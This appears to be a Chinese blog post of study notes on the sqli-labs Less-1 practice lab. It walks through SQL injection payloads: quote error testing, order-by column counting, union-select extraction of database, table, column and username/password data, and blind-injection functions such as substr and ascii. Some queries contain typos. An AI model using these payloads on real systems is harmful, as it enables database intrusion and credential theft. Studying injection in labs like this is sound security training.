sqli-labs less-1

请输入id作为带数值的参数

==================================================----------=======

输入

?id=1

 我们会看到这个sql语句是我们添加进去的,原本是应该没有的

 limit 0.1;其中第一位是从第几个开始的,比如0代表从第一个开始,而第二位的1代表的就是显示多少个数据


 再输入加一个单引号我们会发现报错了(单引号判断 ‘ 显示数据库错误信息或者页面回显不同(整形,字符串类型判断)

)

​

?id=1'

 


 一个一个的试

127.0.0.1/sqli-labs-master/Less-1/?id=1 order by3--+

less-01数据存在三列

 


=======================================================================

输入

​?id=1 union select 1,2,3--+

 发现没有变化


我们将id=1的数据注释掉        查看哪些数据可以回显                                    发现有回显

?id=-1' union select 1,2,3--+

知识点汇总

--+, --, # (都是sql语句里面的注释符,注释之后后面的句子不再进行执行)


A and B(全对才为true) and 、&& 和运算,要所有条件成立才能执行

A or B(只要有一个是对的都为)  or  、 || 或运算,只要一个条件成立


order by()字段数查询

order by 后加一个数字表示第几列进行排序。用此函数判断该数据库由几列组成


在index的文件中

echo $sql;(将我们构造的sql语句进行输出)

echo "<br>";(换行符让我们浏览的时候更加方便)


group_concat() 将所有的数据进行连接和拼接之后作为一行显示

查库:select schema_name from information_schema.schemata

查表:select table_name from information_schema.table where table_schema='security'

查列:select column_name form information_schema.columns where table_name='users'

查字段:select username,password from security.users

left()函数:left(database(),1)='s'   left(a,b)从左侧截取a的前b位,正确返回值1,错位返回值0

regexp函数:select user()regexp 'r'  user()结果是root,regexp为匹配root的正则表达式

like函数:select user()like 'ro%'   匹配与regexp相似

sbustr(a,b,c) select substr()xxx           substr(a,b,c)从位置b开始,截取a字符串c位的长度

ascii()                                               将某个字符串转化位ascii值

chr('数字') 或者ord('字母')               使用python中的两个函数可以判断当前的ascii值是多少

left()函数:left(database(),1)='s'  left(a,b)从左侧截取a的前b位,正确返回值1,错位返回值0
regexp函数:select user()regexp 'r'user()结果是root,regexp为匹配root的正则表达式
like函数:select user()like 'ro%'  匹配与regexp相似
sbustr(a,b,c) select substr()xxx    substr(a,b,c)从位置b开始,截取a字符串c位的长度
ascii()            将某个字符串转化位ascii值
chr('数字') 或者ord('字母')     使用python中的两个函数可以判断当前的ascii值是多少
对于security数据库
select left(database(),1)='s';前一位是否是s

select database()regexp 's';

匹配第一个字符是否是s
select database()like 's%';匹配第一个字符是否是s

select substr((select database()),1,1)='s';

匹配的第一个字符是否是s
select substr((select database()),1,3)='sec'

匹配的前三个字符是否是sec

select ascii(substr(select database()),1,1);直接回显115 或者是:
select ascii(substr(select database()),1,1)>100;如果大于110,就会返回1,否则返回0

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值